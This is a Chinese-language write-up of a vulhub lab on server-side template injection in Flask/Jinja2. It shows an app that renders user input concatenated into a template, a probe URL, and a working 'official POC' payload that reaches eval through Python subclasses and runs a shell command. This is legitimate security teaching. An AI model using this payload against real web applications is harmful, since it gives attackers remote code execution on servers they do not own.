漏洞簡介
flask/ssti漏洞,即: Flask(Jinja2) 服務端模闆注入漏洞(SSTI)。Flask 是一個使用 Python 編寫的輕量級 Web 應用架構,Flask 為你提供工具,庫和技術來允許你建構一個 web 應用程式。這個 web 應用程式可以是一些 web 頁面、部落格、wiki、基于 web 的月曆應用或商業網站。Jinja 2是一種面向Python的現代和設計友好的模闆語言。
影響版本
使用Flask架構開發并且使用Jinja2模闆引擎,最重要的是模闆内容可控。滿足該條件的Flask子產品中幾乎都存在注入漏洞。
産生原因
from flask import Flask, request from jinja2 import Template app = Flask(__name__)
@app.route("/") def index(): name = request.args.get('name', 'guest')
根據上述源碼,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接後直接進行渲染,導緻指令注入。
标題
通路成功
http://127.0.0.1:8000/
─(root💀guiltyfet)-[/home/guiltyfet/vulhub/flask/ssti]
└─# cd src 1 ⨯
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# ls
app.py
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# cat app.py 1 ⨯
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
重點在于
這一行,name可以通過get方法獲得且沒有任何過濾
http://127.0.0.1:8000/?name={{1*520}}
官方POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
參考連結
https://github.com/epinna/tplmap
https://blog.csdn.net/q943111495/article/details/121032213